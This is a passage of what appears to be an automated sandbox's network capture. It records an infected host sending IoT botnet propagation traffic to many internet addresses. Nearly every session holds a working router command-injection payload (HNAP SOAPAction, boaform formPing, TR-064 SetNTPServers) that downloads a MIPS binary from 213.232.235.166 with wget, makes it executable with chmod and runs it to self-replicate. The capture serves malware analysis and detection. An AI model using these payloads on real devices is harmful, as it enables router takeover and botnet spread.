realtek.selfrep`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:53:47.616362095 CEST	536	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemot
Apr 15, 2024 08:53:53.760389090 CEST	536	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemot

Session ID	Source IP	Source Port	Destination IP	Destination Port
1212	192.168.2.13	40918	85.115.221.135	8081

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:44.615468979 CEST	785	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/GetDeviceSettings/$(cd /tmp; busybox wget http://213.232.235.166/mips; chmod 777 mips; ./mips hnap.selfrep) Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Apr 15, 2024 08:53:44.949906111 CEST	432	IN	HTTP/1.0 401 Unauthorized Date: Mon, 15 Apr 2024 06:53:14 GMT Server: Boa/0.94.14rc21 Accept-Ranges: bytes Content-encoding: gzip Connection: close WWW-Authenticate: Basic realm="WF2780" user" Content-Type: text/html; charset=ISO-8859-1 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 31 20 55 6e 61 75 74 68 6f 72 69 7a 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 31 20 55 6e 61 75 74 68 6f 72 69 7a 65 64 3c 2f 48 31 3e 0a 59 6f 75 72 20 63 6c 69 65 6e 74 20 64 6f 65 73 20 6e 6f 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 67 65 74 20 55 52 4c 20 2f 48 4e 41 50 31 2f 20 66 72 6f 6d 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>401 Unauthorized</TITLE></HEAD><BODY><H1>401 Unauthorized</H1>Your client does not have permission to get URL /HNAP1/ from this server.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1213	192.168.2.13	49472	119.148.50.113	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:44.733119965 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
1214	192.168.2.13	45532	178.165.40.165	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:45.269247055 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
1215	192.168.2.13	38448	119.236.109.45	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:45.563397884 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
1216	192.168.2.13	56014	184.176.27.110	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:46.465418100 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1217	192.168.2.13	52688	186.7.123.8	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:46.519009113 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:47.808502913 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1218	192.168.2.13	40304	175.231.31.157	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:46.540751934 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1219	192.168.2.13	56748	200.127.30.18	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:46.561144114 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1220	192.168.2.13	40646	176.171.58.15	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:46.572731972 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:49.664366961 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1221	192.168.2.13	37978	177.97.77.112	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:46.575902939 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:48.288378954 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:50.304362059 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:54.528476954 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1222	192.168.2.13	51476	109.157.45.8	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:46.579408884 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1223	192.168.2.13	41978	94.122.51.36	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:46.591775894 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1224	192.168.2.13	33978	95.5.247.230	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:46.613470078 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:46.980622053 CEST	197	IN	HTTP/1.1 404 Not Found Date: Mon Apr 15 09:53:46 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
1225	192.168.2.13	56042	184.176.27.110	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:46.658708096 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1226	192.168.2.13	40320	175.231.31.157	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:46.833126068 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1227	192.168.2.13	56778	200.127.30.18	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:46.859402895 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1228	192.168.2.13	40688	176.171.58.15	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:46.873863935 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
